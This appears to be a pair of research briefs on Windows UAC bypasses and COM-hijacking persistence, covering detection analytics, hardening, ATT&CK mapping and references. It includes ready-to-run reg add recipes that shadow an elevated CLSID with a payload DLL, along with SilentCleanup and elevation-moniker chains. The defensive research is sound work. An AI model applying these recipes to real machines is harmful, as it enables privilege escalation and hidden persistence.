Auto-elevate binaries commonly abused: fodhelper, computerdefaults, eventvwr, sdclt, wsreset, slui, changepk, mmc, osk, msconfig, colorcpl/dccw, sysprep, cliconfg, migwiz, mcx2prov, winsat, pkgmgr, msdt, sdiagnhost, iscsicpl, easinvoker, credwiz, inetmgr, BitlockerWizardElev, TpmInit, clipup, taskhostw, QuickAssist, SystemSettingsAdminFlows, CompMgmtLauncher (legacy), wusa, consent, rstrui, recdisc, ieinstal.
|
||||||
|
DLL names to watch outside System32/KnownDlls: cryptbase, cryptsp, wdscore, ntwdblib, dbgcore, unbcl, actionqueue, unattend, shcore, comctl32 (DotLocal), elsext, wbemcomn, atl, mscoree, slc, netutils, dismcore, gdiplus, powprof, devobj, wow64log, duser, osksupport, pcadm, PerformanceTraceHandler, EmbeddedBrowserWebView, BluetoothDiagnosticUtil, iscsiexe, srrstr, LogProvider.dll (in %TEMP%\{guid}).
|
||||||
|
|
||||||
|
======================================================================
|
||||||
|
5. DETECTION & HUNTING
|
||||||
|
======================================================================
|
||||||
|
Telemetry: Sysmon EID 1 (process create, with IntegrityLevel + ParentImage), EID 7 (image load), EID 10 (process access — handle/token duplication into fodhelper/eventvwr/computerdefaults/sdclt/slui/mmc/wsreset/pkgmgr per Splunk "Windows Handle Duplication in Known UAC-Bypass Binaries"), EID 11 (file create — mock dirs with trailing spaces; %TEMP%\{GUID}\dismhost staging), EID 12/13 (registry key/value set on all §4 paths); Security 4688 (+command line), 4657/4663 registry auditing; ETW Microsoft-Windows-Kernel-Process.
|
||||||
|
High-fidelity behavioral patterns:
|
||||||
|
1. High-integrity child process (cmd/powershell/payload in user paths) whose parent is a known auto-elevate binary (fodhelper, computerdefaults, eventvwr→mmc, sdclt, wsreset...) — near-zero FP (Splunk "FodHelper UAC Bypass", "Windows UAC Bypass Suspicious Child Process").
|
||||||
|
2. Registry write to HKCU\Software\Classes\{ms-settings|mscfile|Folder|AppX82a6...}\...\command or DelegateExecute emptied, followed within seconds by the matching System32 binary — classic automated chain (Splunk "WSReset UAC Bypass"; SigmaHQ has per-technique registry_set rules).
|
||||||
|
3. HKCU\Environment writes of windir / COR_PROFILER_PATH (Splunk ".NET Profiler UAC bypass") + schtasks /Run /TN ...SilentCleanup.
|
||||||
|
4. Process execution whose path contains trailing spaces (`C:\Windows \System32\...`) — mock trusted directory (SentinelOne recommendation; Sigma "TrustedPath UAC Bypass Pattern").
|
||||||
|
5. Image loads of the §4 DLL names from non-System32 locations by elevated Microsoft-signed processes.
|
||||||
|
6. Elevation events with NO consent.exe on the wire (silent elevation), plus command lines/strings containing "Elevation:Administrator!new:" (often stored reversed/XORed in malware).
|
||||||
|
Validation tooling: Atomic Red Team T1548.002 (tests for fodhelper, eventvwr, sdclt, WSReset #23, SilentCleanup, CMSTPLUA, .NET profiler, etc.); UACME Akagi for red-team ranges.
|
||||||
|
MITRE data sources: Process Creation, Windows Registry Key Creation/Modification, Module Load, Process Metadata (integrity level), OS API Execution (CoGetObject, NtSetInformationToken).
|
||||||
|
|
||||||
|
======================================================================
|
||||||
|
6. MITIGATION / HARDENING
|
||||||
|
======================================================================
|
||||||
|
- #1 control (per UACME itself): standard-user accounts — no admin token, no bypass possible. Privileged Account Management (M1026).
|
||||||
|
- UAC slider "Always notify" (ConsentPromptBehaviorAdmin=2, PromptOnSecureDesktop=1) kills most auto-elevate bypasses — but NOT all: SilentCleanup env (#34), token mod (#35), DiskCleanup race (#26), SSPI (#78), PCA (#69), RequestTrace (#80), QuickAssist (#81) are AlwaysNotify-compatible per UACME. Defense-in-depth still required.
|
||||||
|
- ConsentPromptBehaviorUser=0 (auto-deny for standard users); keep EnableLUA=1; FilterAdministratorToken=1 for built-in Administrator; keep PromptOnSecureDesktop=1.
|
||||||
|
- WDAC/AppLocker to block child processes of auto-elevate binaries and user-writable-path DLL loads; PreferSystem32Images mitigation; attack-surface monitoring of §4 keys.
|
||||||
|
- Patch currency: many methods died via OS hardening (RS1–RS5 shell updates, 19H1 COM handler fix, Win11 24H2/25H2 killed mock dirs, consent DotLocal, wow64log, dccw, .NET deserialization, wsreset, EditionUpgradeManager, taskhostw PCA) — current builds materially shrink the surface.
|
||||||
|
- Assume breach: detect (§5) rather than prevent; monitor LocalAccountTokenFilterPolicy/EnableLUA tampering (needs prior admin — signals post-exploitation).
|
||||||
|
|
||||||
|
======================================================================
|
||||||
|
7. MITRE ATT&CK MAPPING
|
||||||
|
======================================================================
|
||||||
|
- T1548.002 Bypass User Account Control (primary; Privilege Escalation + Defense Evasion)
|
||||||
|
- T1574.001/.002 Hijack Execution Flow: DLL Search Order/Side-Loading (§3.3)
|
||||||
|
- T1112 Modify Registry (association/env/policy keys)
|
||||||
|
- T1546.015 Event Triggered Execution: Component Object Model Hijacking (COM handler hijack)
|
||||||
|
- T1053.005 Scheduled Task (SilentCleanup, ITaskService via ElevatedFactoryServer)
|
||||||
|
- T1134.001/.002 Access Token Manipulation (token mod, SSPI, handle duplication)
|
||||||
|
- T1055 Process Injection (reflective loaders delivering CMSTPLUA calls)
|
||||||
|
- T1036 Masquerading (mock directories, PEB masquerading)
|
||||||
|
- T1027 Obfuscation (moniker strings reversed/XORed)
|
||||||
|
- T1562.001 Impair Defenses (post-elevation Defender exclusion/GP tamper, EnableLUA=0)
|
||||||
|
- Software examples: S0116 UACMe; in-the-wild: LockBit 2.0/3.0, Avaddon, BADHATCH, BitPaymer, Grandoreiro, KONNI, Raspberry Robin, Saint Bot, ZeroT, Pupy, Koadic, WarzoneRAT, DBatLoader, Fickle Stealer, Shamoon, Downdelph, BlackEnergy, H1N1, ShimRat, InvisiMole, Qilin.
|
||||||
|
|
||||||
|
======================================================================
|
||||||
|
8. DIAGRAMS TO DRAW
|
||||||
|
======================================================================
|
||||||
|
1. "Logon token split": Protected-admin logon → LSASS → [Full token | Filtered token] linked pair → Explorer on filtered/Medium token; annotation: TokenElevationType Limited vs Full.
|
||||||
|
2. "Elevation request flow": App w/ requireAdministrator manifest → CreateProcess fails 740 → ShellExecute runas → AppInfo service (svchost, appinfo.dll; RPC IF {201ef99a-...}, RAiLaunchAdminProcess) → policy/manifest/signature checks → consent.exe (SYSTEM) on Secure Desktop → Yes → elevated High-IL process. Number each hop — bypasses short-circuit specific hops.
|
||||||
|
3. "Auto-elevation decision tree": manifest autoElevate? → trusted dir? → MS signature? → COMAutoApprovalList/EXE whitelist? → CPBA policy? → silent vs prompt. Mark each attack surface (registry, DLL, path, env, COM).
|
||||||
|
4. "Registry hijack sequence (fodhelper)": attacker(Medium) → write HKCU ms-settings verb + DelegateExecute="" → launch fodhelper.exe (auto-elevates High) → shell resolves ms-settings: from HKCU → payload.exe spawned High IL → key cleanup. Show the IL jump Medium→High with no consent.exe.
|
||||||
|
5. "COM elevation (CMSTPLUA)": CoGetObject("Elevation:Administrator!new:{3E5FC7F9-...}") → AppInfo silent approval (COMAutoApprovalList) → surrogate COM server at High IL → ICMLuaUtil::ShellExec("cmd.exe") → High-IL child.
|
||||||
|
6. "IFileOperation + DLL hijack (sysprep pattern)": Medium process → elevated IFileOperation copy evil-cryptbase.dll → C:\Windows\System32\sysprep\ → launch sysprep.exe (auto-elevate) → loader search order → attacker DLL in High-IL process.
|
||||||
|
7. "Mock trusted directory": two-string desync — GetLongPathNameW("C:\Windows \System32\easinvoker.exe") → "C:\Windows\System32\..." passes RtlPrefixUnicodeString trust check; original spaced path used for CreateProcess; netutils.dll loaded High.
|
||||||
|
8. "SilentCleanup windir chain": HKCU\Environment windir=cmd /c payload & rem → schtasks /Run SilentCleanup → Task Scheduler expands %windir%\system32\cleanmgr.exe in user context at High IL → payload runs elevated.
|
||||||
|
9. "Integrity level pyramid + MIC write rules": Untrusted/Low/Medium/Medium+/High/System/Protected with S-1-16 values; UIPI message-blocking arrow; where each bypass lands.
|
||||||
|
10. "Detection coverage map": rows = technique families (3.1–3.9); columns = telemetry (Sysmon 1/7/10/11/12/13, 4688, ETW) with named analytics (Splunk/Sigma/Atomic) per cell.
|
||||||
|
|
||||||
|
======================================================================
|
||||||
|
9. REFERENCES (title — URL)
|
||||||
|
======================================================================
|
||||||
|
Core corpora & frameworks:
|
||||||
|
1. UACME — Defeating Windows User Account Control (hfiref0x) — https://github.com/hfiref0x/UACME
|
||||||
|
2. MITRE ATT&CK T1548.002 — Bypass User Account Control — https://attack.mitre.org/techniques/T1548/002/
|
||||||
|
3. Atomic Red Team T1548.002 tests — https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1548.002/T1548.002.md
|
||||||
|
4. Atomic Red Team docs site T1548.002 — https://www.atomicredteam.io/atomic-red-team/atomics/T1548.002
|
||||||
|
Microsoft documentation:
|
||||||
|
5. How User Account Control works — Microsoft Learn — https://learn.microsoft.com/en-us/windows/security/application-security/application-control/user-account-control/how-it-works
|
||||||
|
6. User Account Control settings and configuration — Microsoft Learn — https://learn.microsoft.com/en-us/windows/security/application-security/application-control/user-account-control/settings-and-configuration
|
||||||
|
7. The COM Elevation Moniker — Microsoft Learn — https://learn.microsoft.com/en-us/windows/win32/com/the-com-elevation-moniker
|
||||||
|
8. UAC Group Policy Settings and Registry Key Settings (archived TechNet dd835564) — http://crw-daq.su/download/admilink/uac/uac-doc/technet.microsoft.com-uac group policy settings and registry key settings.pdf
|
||||||
|
9. Microsoft Security Servicing Criteria for Windows (UAC-not-a-boundary policy) — https://www.microsoft.com/en-us/msrc/windows-security-servicing-criteria
|
||||||
|
Original technique research:
|
||||||
|
10. "Fileless" UAC Bypass Using eventvwr.exe and Registry Hijacking — enigma0x3 (Aug 15, 2016) — https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/
|
||||||
|
11. Bypassing UAC on Windows 10 using Disk Cleanup — enigma0x3 (Jul 22, 2016) — https://enigma0x3.net/2016/07/22/bypassing-uac-on-windows-10-using-disk-cleanup/
|
||||||
|
12. Bypassing UAC using App Paths — enigma0x3 (Mar 14, 2017) — https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/
|
||||||
|
13. "Fileless" UAC Bypass using sdclt.exe — enigma0x3 (Mar 17, 2017) — https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/
|
||||||
|
14. First entry: Welcome and fileless UAC bypass (fodhelper) — winscripting.blog (May 12, 2017) — https://winscripting.blog/2017/05/12/first-entry-welcome-and-uac-bypass/
|
||||||
|
15. Exploiting Environment Variables in Scheduled Tasks for UAC Bypass — James Forshaw (May 2017) — https://tyranidslair.blogspot.com/2017/05/exploiting-environment-variables-in.html
|
||||||
|
16. Reading Your Way Around UAC (Parts 1–3) — James Forshaw — https://tyranidslair.blogspot.com/2017/05/reading-your-way-around-uac-part-1.html
|
||||||
|
17. Calling Local Windows RPC Servers — James Forshaw, Google Project Zero (Dec 2019; AppInfo RPC {201ef99a-7fa0-444c-9399-19ba84f12a1a}) — https://googleprojectzero.blogspot.com/2019/12/calling-local-windows-rpc-servers-from.html
|
||||||
|
18. UAC Bypass by Mocking Trusted Directories — David Wells, Tenable TechBlog — https://medium.com/tenable-techblog/uac-bypass-by-mocking-trusted-directories-24a96675f6e
|
||||||
|
19. Accessing Access Tokens for UIAccess — James Forshaw (Feb 2019) — https://tyranidslair.blogspot.com/2019/02/accessing-access-tokens-for-uiaccess.html
|
||||||
|
20. Fileless UAC Bypass in Windows Store Binary (WSReset) — ActiveCyber (Mar 2019) — https://www.activecyber.us/1/post/2019/03/windows-uac-bypass.html
|
||||||
|
21. UAC Bypass via SystemPropertiesAdvanced.exe and DLL Hijacking — egre55 — https://egre55.github.io/system-properties-uac-bypass/
|
||||||
|
22. Utilizing Programmatic Identifiers (ProgIDs) for UAC Bypasses — V3ded — https://v3ded.github.io/redteam/utilizing-programmatic-identifiers-progids-for-uac-bypasses
|
||||||
|
23. UAC bypasses from COMAutoApprovalList — swapcontext (Nov 2020) — https://swapcontext.blogspot.com/2020/11/uac-bypasses-from-comautoapprovallist.html
|
||||||
|
24. Yet another sdclt UAC bypass — Emeric Nasi, sevagas — http://blog.sevagas.com/?Yet-another-sdclt-UAC-bypass
|
||||||
|
25. MSDT DLL Hijack UAC bypass — sevagas — https://blog.sevagas.com/?MSDT-DLL-Hijack-UAC-bypass
|
||||||
|
26. UAC bypass via elevated .NET applications — offsec.provadys — https://offsec.provadys.com/UAC-bypass-dotnet.html
|
||||||
|
27. Advanced Windows Task Scheduler Playbook Part 2 (IElevatedFactoryServer) — zcgonvh — http://www.zcgonvh.com/post/Advanced_Windows_Task_Scheduler_Playbook-Part.2_from_COM_to_UAC_bypass_and_get_SYSTEM_dirtectly.html
|
||||||
|
28. Bypassing UAC with SSPI Datagram Contexts — antonioCoco, splintercod3 — https://splintercod3.blogspot.com/p/bypassing-uac-with-sspi-datagram.html
|
||||||
|
29. Mitigate some Exploits for Windows UAC (incl. MSRC case 64957 quote) — Stefan Kanthak — https://skanthak.hier-im-netz.de/uacamole.html
|
||||||
|
30. Reversing ICMLuaUtil: ShellExec and CallCustomActionDll — codedintrusion — https://codedintrusion.com/posts/reversing-icmluautil/
|
||||||
|
31. Creative UAC Bypass Methods for the Modern Era — g3tsyst3m — https://g3tsyst3m.github.io/privilege%20escalation/Creative-UAC-Bypass-Methods-for-the-Modern-Era/
|
||||||
|
32. UAC Bypass or story about three escalations (hakril APPINFO spoof) — Positive Research, Habr — https://habrahabr.ru/company/pm/blog/328008/
|
||||||
|
CVE-2019-1388:
|
||||||
|
33. NVD — CVE-2019-1388 Detail — https://nvd.nist.gov/vuln/detail/CVE-2019-1388
|
||||||
|
34. CVE-2019-1388 — Abuse UAC Windows Certificate Dialog (PoC) — https://github.com/nobodyatall648/CVE-2019-1388
|
||||||
|
35. CISA Known Exploited Vulnerabilities Catalog — https://www.cisa.gov/known-exploited-vulnerabilities-catalog
|
||||||
|
In-the-wild use:
|
||||||
|
36. Old Windows 'Mock Folders' UAC bypass used to drop malware — BleepingComputer (Mar 2023) — https://www.bleepingcomputer.com/news/security/old-windows-mock-folders-uac-bypass-used-to-drop-malware/
|
||||||
|
37. DBatLoader and Remcos RAT Sweep Eastern Europe — SentinelOne — https://www.sentinelone.com/blog/dbatloader-and-remcos-rat-sweep-eastern-europe/
|
||||||
|
38. Fickle Stealer Distributed via Multiple Attack Chain — Fortinet FortiGuard Labs — https://www.fortinet.com/blog/threat-research/fickle-stealer-distributed-via-multiple-attack-chain
|
||||||
|
39. In-Memory Loader Drops ScreenConnect (elevated COM abuse) — Zscaler ThreatLabz — https://www.zscaler.com/blogs/security-research/memory-loader-drops-screenconnect
|
||||||
|
Detection engineering:
|
||||||
|
40. Detection: FodHelper UAC Bypass — Splunk Threat Research — https://research.splunk.com/endpoint/909f8fd8-7ac8-11eb-a1f3-acde48001122/
|
||||||
|
41. Detection: WSReset UAC Bypass — Splunk Threat Research — https://research.splunk.com/endpoint/8b5901bc-da63-11eb-be43-acde48001122/
|
||||||
|
42. Detection: .NET Profiler UAC bypass — Splunk Threat Research — https://research.splunk.com/endpoint/0252ca80-e30d-11eb-8aa3-acde48001122/
|
||||||
|
43. Windows Handle Duplication in Known UAC-Bypass Binaries — Splunk Threat Research — https://research.splunk.com/endpoint/d7369bf5-1315-4138-b927-2dd8bb8c1da7/
|
||||||
|
44. Windows UAC Bypass Suspicious Child Process — Splunk Threat Research — https://research.splunk.com/endpoint/453a6b0f-b0ea-48fa-9cf4-20537ffdd22c/
|
||||||
|
45. Sigma — Generic Signature Format for SIEM Systems (UAC bypass rule set) — https://github.com/SigmaHQ/sigma
|
||||||
|
46. UAC Bypass Detection: A Comprehensive Guide — Fibratus — https://fibratus.io/blog/uac-bypass-detection-comprehensive-guide
|
||||||
|
47. Metasploit module: bypassuac_eventvwr — Rapid7 — https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/local/bypassuac_eventvwr.rb
|
||||||
|
48. Hardening Microsoft Windows 10/11 Workstations (UAC policy recommendations) — Australian Cyber Security Centre — https://www.cyber.gov.au/sites/default/files/2025-09/hardening_microsoft_windows_10_workstations_september_2025.pdf
|
||||||
|
49. User Account Control/Uncontrol: Mastering the Art of Bypassing Windows UAC — hadess.io — https://hadess.io/user-account-control-uncontrol-mastering-the-art-of-bypassing-windows-uac/
|
||||||
|
50. Malicious Application Compatibility Shims — Black Hat EU 2015 (Pierce) — https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf
|
||||||
|
|
||||||
|
======================================================================
|
||||||
|
10. CONFIDENCE & CAVEATS
|
||||||
|
======================================================================
|
||||||
|
- HIGH confidence: all CLSIDs/IIDs quoted (CMSTPLUA, ICMLuaUtil, FileOperation, ElevatedFactoryServer, IElevatedFactoryServer, TaskScheduler, AppInfo RPC IF), all registry paths, policy values, method numbers/authors/fixed-in builds (verbatim from UACME v3.7.x README, retrieved this session), CVE-2019-1388 facts (NVD retrieved directly), and every reference URL (each appeared in this session's search results or fetched pages).
|
||||||
|
- MEDIUM confidence / version-dependent: current exploitability on the very latest builds. UACME marks items "unfixed" as of v3.7.x (2026), but independent testers report some (fodhelper, SilentCleanup, mock dirs pre-24H2) behaving inconsistently across 22H2–25H2 due to silent hardening and AV/EDR interference. Treat "unfixed" as "UACME-listed unfixed," not a guarantee on a specific patched build.
|
||||||
|
- IID for IColorDataProxy or CLSIDs for ISecurityEditor/IFwCplLua/ISPPLUAObject not independently verified — excluded from the CLSID watchlist; they are in UACME source (comsup.h).
|
||||||
|
- Cross-links: LocalAccountTokenFilterPolicy → lateral movement chapter; COMAutoApprovalList/elevation moniker → COM internals chapter.
|
||||||
@@ -0,0 +1,325 @@
|
|||||||
|
# RESEARCH BRIEF — COM for PERSISTENCE (MITRE ATT&CK T1546.015)
|
||||||
|
|
||||||
|
All claims verified against primary sources (MITRE, bohops, enigma0x3, MDSec, SpecterOps, ReliaQuest, Talos, ESET, FireEye/Mandiant, CrowdStrike, SigmaHQ, Elastic, Red Canary Atomic, NCC Group, leoloobeek, nickvourd, 3gstudent, pentestlab).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. COM Hijacking Fundamentals
|
||||||
|
|
||||||
|
### 1.1 The HKCR merge — why a standard user can hijack anything
|
||||||
|
- `HKEY_CLASSES_ROOT` is **not a real hive** — it is a merged view built at query time from `HKLM\SOFTWARE\Classes` (machine-wide) and `HKCU\SOFTWARE\Classes` (per-user).
|
||||||
|
- **Per-user entries take precedence.** If the same subkey/value exists in both, the HKCU value wins (Microsoft: "Merged View of HKEY_CLASSES_ROOT"). A non-admin user has full write access to HKCU, so any COM class registered in HKLM can be shadowed per-user with zero privileges.
|
||||||
|
- COM resolution path for `CoCreateInstance(CLSID, ...)` (in-proc case): 1) `HKCU\Software\Classes\CLSID\{CLSID}\InprocServer32` (or `LocalServer32`, `InprocHandler32`, `TreatAs`) — checked first; 2) `HKCR\CLSID\...` (merged view → effectively HKLM); 3) `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellCompatibility\Objects\` (legacy shell fallback).
|
||||||
|
- 32-bit processes on 64-bit Windows additionally use the WoW64 reflection path: `HKCU\Software\Classes\Wow6432Node\CLSID\...` (critical for Office hijacks).
|
||||||
|
- Key values under InprocServer32: `(Default)` = DLL path (REG_SZ/REG_EXPAND_SZ), `ThreadingModel` = `Apartment` (STA) | `Free` (MTA) | `Both` | `Neutral`, and shell-only `LoadWithoutCOM` (honored by shell32 `SHCoCreateInstance` — load DLL by path with no full COM checks; abused in eventvwr UAC bypass).
|
||||||
|
|
||||||
|
### 1.2 Phantom / orphaned / abandoned COM objects
|
||||||
|
1. **Orphaned registrations (registered CLSID, missing binary):** CLSID exists but the InprocServer32/LocalServer32 target file does not — leftovers from uninstalled software (bohops' example: VMware Workstation's leftover `vmnetbridge.dll` at CLSID `{3d09c1ca-2bcc-40b7-b9bb-3f3ec143a87b}`). If the directory path is attacker-writable, dropping a payload at the expected path hijacks the object **without touching the registry**. If the registry path is writable (HKCU shadow), you don't even need the file path.
|
||||||
|
2. **Undefined-but-referenced classes (dangling references):** programs call `CoCreateInstance` on CLSIDs not registered anywhere (NAME NOT FOUND in ProcMon). Registering that CLSID in HKCU creates a new "phantom" object the program then loads. Advantages: **no legitimate value overwritten, no functionality breaks, nothing to diff** (CrowdStrike ClickOnce research 2025; pentestlab/SpecterOps methodology).
|
||||||
|
|
||||||
|
### 1.3 Why it survives reboots and is low-noise
|
||||||
|
- Persistence lives entirely in the **registry** (HKCU hive = `NTUSER.DAT` / `UsrClass.dat`), re-read at every logon; no autostart entry, no service, no scheduled task modification.
|
||||||
|
- The trigger is **normal system activity**: a legitimate Microsoft-signed process (explorer.exe, taskhostw.exe, svchost.exe, outlook.exe, browsers) does the `LoadLibrary` of your DLL. Execution inherits host integrity and reputation; no new suspicious process.
|
||||||
|
- **Autoruns gap:** Sysinternals Autoruns enumerates only specific COM categories; it does **not** diff the full `HKCU\Software\Classes\CLSID` tree against HKLM → classic per-user CLSID shadow invisible in default views. Even when a Run-key launcher is used (`rundll32.exe -sta {CLSID}` or `mmc.exe -Embedding payload.msc`), the visible autorun points to a signed Microsoft binary while the payload path hides in the Classes hive (bohops Part 2).
|
||||||
|
- MITRE T1546.015: tactic = Persistence + Privilege Escalation.
|
||||||
|
|
||||||
|
### 1.4 InprocServer32 vs LocalServer32
|
||||||
|
- `InprocServer32` → DLL loaded into caller via `LoadLibrary`; `ole32/combase` calls exported `DllGetClassObject` (most common persistence).
|
||||||
|
- `LocalServer32` → EXE (or command line!) launched as a new process by DCOM Server Process Launcher (`svchost.exe -k DcomLaunch`) with `-Embedding`. LocalServer32 values may include **arguments** — CrowdStrike demonstrated fileless persistence with `cmd.exe`/`powershell.exe` + script args in LocalServer32. Detection: properly instantiated COM servers spawn from svchost.exe; any other parent for an `-Embedding` command line is suspicious.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 2. Documented Hijackable CLSIDs & In-The-Wild Cases
|
||||||
|
|
||||||
|
### 2.1 `{0A29FF9E-7F9C-4437-8B11-F424491E3931}` — Event Viewer MMC snap-in class — persistence + UAC crossover
|
||||||
|
- Loaded by `eventvwr.exe` (auto-elevated) and `mmc.exe eventvwr.msc`; HKCU shadow path free.
|
||||||
|
- Hijack recipe:
|
||||||
|
```
|
||||||
|
reg add "HKCU\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InProcServer32" /v "" /t REG_SZ /d "C:\path\payload.dll" /f
|
||||||
|
reg add "HKCU\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InProcServer32" /v "LoadWithoutCOM" /t REG_SZ /d "" /f
|
||||||
|
reg add "HKCU\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InProcServer32" /v "ThreadingModel" /t REG_SZ /d "Apartment" /f
|
||||||
|
reg add "HKCU\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\ShellFolder" /v "HideOnDesktop" /t REG_SZ /d "" /f
|
||||||
|
reg add "HKCU\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\ShellFolder" /v "Attributes" /t REG_DWORD /d 0xf090013d /f
|
||||||
|
```
|
||||||
|
(`0xf090013d` = SFGAO attribute combination required for the shell to accept the object.)
|
||||||
|
- Documented by: hfiref0x/UACME, Metasploit `exploit/windows/local/bypassuac_comhijack`, 3gstudent (lists it among HKCU CLSID hijacks of elevated programs alongside `{B29D466A-857D-35BA-8712-A758861BFEA1}`, `{D5AB5662-131D-453D-88C8-9BBA87502ADE}`, `{CB2F6723-AB3A-11D2-9C40-00C04FA30A3E}`).
|
||||||
|
- Related but distinct: enigma0x3's eventvwr "fileless" UAC bypass pivots on `HKCU\Software\Classes\mscfile\shell\open\command` (file association, not CLSID). PoC: `Invoke-EventVwrBypass.ps1`.
|
||||||
|
- Note: user-triggered (someone must open Event Viewer); its value is the persistence→privesc chain (payload loads high-IL because eventvwr auto-elevates).
|
||||||
|
|
||||||
|
### 2.2 `{BCDE0395-E52F-467C-8E3D-C4579291692E}` — MMDeviceEnumerator (audio endpoint enumerator, mmdevapi.dll)
|
||||||
|
- Instantiated by **explorer.exe** at every logon and by virtually every audio-touching process (Firefox documented; media players, browsers, VOIP).
|
||||||
|
- **ITW — APT28/Sednit:** Seduploader persisted via `HKCU\Environment\UserInitMprLogonScript` and COM hijack of MMDeviceEnumerator; payload executed "by rundll32.exe ... or by explorer.exe if the COM Object hijack is performed" (Cisco Talos). MITRE APT28 (G0007) cites it; JHUHUGIT also hijacked MMDeviceEnumerator + registered as Shell Icon Overlay handler (FireEye/Mandiant).
|
||||||
|
- Chinese research blogs 2019 PoC: drop DLL as `%APPDATA%\Microsoft\Installer\{BCDE0395-...}\test._dl`, HKCU CLSID + ThreadingModel=Apartment, trigger with iexplore.exe.
|
||||||
|
- sbousseaden/EVTX-ATTACK-SAMPLES has `persist_firefox_comhijack_sysmon_11_13_7_1.evtx` (Sysmon telemetry of an MMDeviceEnumerator hijack via Firefox).
|
||||||
|
|
||||||
|
### 2.3 `{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}` — CAccPropServicesClass (MSAA "AccPropServices", oleacc.dll)
|
||||||
|
- MS Active Accessibility property server; instantiated by many UI processes (browsers, Office) — high trigger frequency. 32-bit confirmed; 64-bit caveats reported.
|
||||||
|
- Documented by bohops research; **Atomic Red Team T1546.015 Test #1** uses exactly this CLSID with `rundll32.exe -sta {B5F8350B-...}` as invoker.
|
||||||
|
|
||||||
|
### 2.4 `{42AEDC87-2188-41FD-B9A3-0C966FEABEC1}` — MruPidlList (shell32)
|
||||||
|
- Loaded by **explorer.exe at every shell start** and throughout the session. The classic most-abused persistence CLSID.
|
||||||
|
- **ITW:** **ComRAT/Turla** (replaces path to shell32.dll in `{42aedc87-...}\InprocServer32` — MITRE S0126); **BBSRAT** (MruPidlList one arch, `{F3130CDB-AA52-4C3A-AB32-85FFC23AF9C1}` "Microsoft WBEM New Event Subsystem" other — Palo Alto); **PcShare** (HKCU `{42aedc87-...}` — MITRE); SILENTTRINITY references it.
|
||||||
|
- Earliest vendor doc: **G-Data, "COM Object hijacking: the discreet way of persistence," Oct 2014** (MITRE's citation). First-ever public discussion of per-user COM abuse: Jon Larimer, 2011 (per leoloobeek).
|
||||||
|
|
||||||
|
### 2.5 Scheduled-task COM handler CLSIDs (taskhostw.exe / Schedule service)
|
||||||
|
Scheduled tasks with `<ComHandler><ClassId>{...}</ClassId>` actions instantiate the CLSID in the task host when fired. Hijack = shadow that CLSID in HKCU.
|
||||||
|
- `{0358B920-0AC7-461F-98F4-58E32CD89148}` — **WinINet CacheTask** (`C:\Windows\System32\Tasks\Microsoft\Windows\Wininet\CacheTask`), InprocServer32 = `%systemroot%\system32\wininet.dll`, ThreadingModel=Both, trigger = **logon of any user**. Walkthrough: **MDSec, Dominic Chell, "Persistence Part 2 – COM Hijacking" (May 2019)** — HKLM key TrustedInstaller-owned; HKCU shadow with `c:\tools\demo.dll` executes at logon.
|
||||||
|
- `{A6BA00FE-40E8-477C-B713-C64A14F18ADB}` — **WindowsUpdate\Automatic App Update** task (ComHandler), documented by **enigma0x3, "Userland Persistence with Scheduled Tasks and COM Handler Hijacking" (May 2016)**. Enumerator: `Get-ScheduledTaskComHandler.ps1`.
|
||||||
|
- `{2DEA658F-54C1-4227-AF9B-260AB5FC3543}` — ITW: attacker registered own payload CLSID, added `TreatAs` under this legitimate CLSID loaded by an existing scheduled task at user logon → payload every logon (FireEye/Mandiant UNC2529).
|
||||||
|
- Generic PowerShell hunter:
|
||||||
|
```powershell
|
||||||
|
$Tasks = Get-ScheduledTask
|
||||||
|
foreach ($Task in $Tasks) {
|
||||||
|
if ($Task.Actions.ClassId -ne $null -and $Task.Triggers.Enabled -eq $true -and $Task.Principal.GroupId -eq "Users") {
|
||||||
|
Write-Host "$($Task.TaskName) :: $($Task.Actions.ClassId)"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
- `{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}` — training example (ZeroPoint RTO; COM-Hunter readme; snovvcrash). Friendly name unconfirmed.
|
||||||
|
- "TeaTimer" has NO documented COM persistence linkage (negative result — likely conflation with scheduled-task COM handler hijacking or Spybot's registry monitor).
|
||||||
|
|
||||||
|
### 2.6 TreatAs redirection (CLSID→CLSID linking)
|
||||||
|
- Semantics: `HKCR\CLSID\{A}\TreatAs` (default = `{B}`) tells COM class `{B}` "can emulate" `{A}`; `CoCreateInstance({A})` resolves `{B}`. APIs: `CoGetTreatAsClass()`, `CoTreatAsClass()`; related: `AutoTreatAs`, `Emulated` subkey. Because TreatAs is a *key*, attackers add it in HKCU without touching `{A}`'s InprocServer32 — **evades detections that only watch InprocServer32 writes**.
|
||||||
|
- Documented example (enigma0x3 + subTee "Windows Operating System Archaeology", via bohops Part 2): `{3734FF83-6764-44B7-A1B9-55F56183CDB0}\TreatAs = {00000001-0000-0000-0000-0000FEEDACDC}` → scrobj.dll ScriptletURL payload. Hexacorn "Beyond good ol' Run key, Part 84".
|
||||||
|
- **ITW — Turla Outlook backdoor (ESET, Aug 2018):** `HKCU\Software\Classes\CLSID\{84DA0A92-25E0-11D3-B9F7-00C04F4C8F5D}\TreatAs = {49CBB1C7-97D1-485A-9EC1-A26065633066}`; `{49CBB1C7-...}` ("Mail Plugin") → InprocServer32 = backdoor DLL, ThreadingModel=Apartment → backdoor loads inside OUTLOOK.EXE at every launch. Automated by 3gstudent `Invoke-OutlookPersistence.ps1` (handles Wow6432Node for 32-bit Office).
|
||||||
|
|
||||||
|
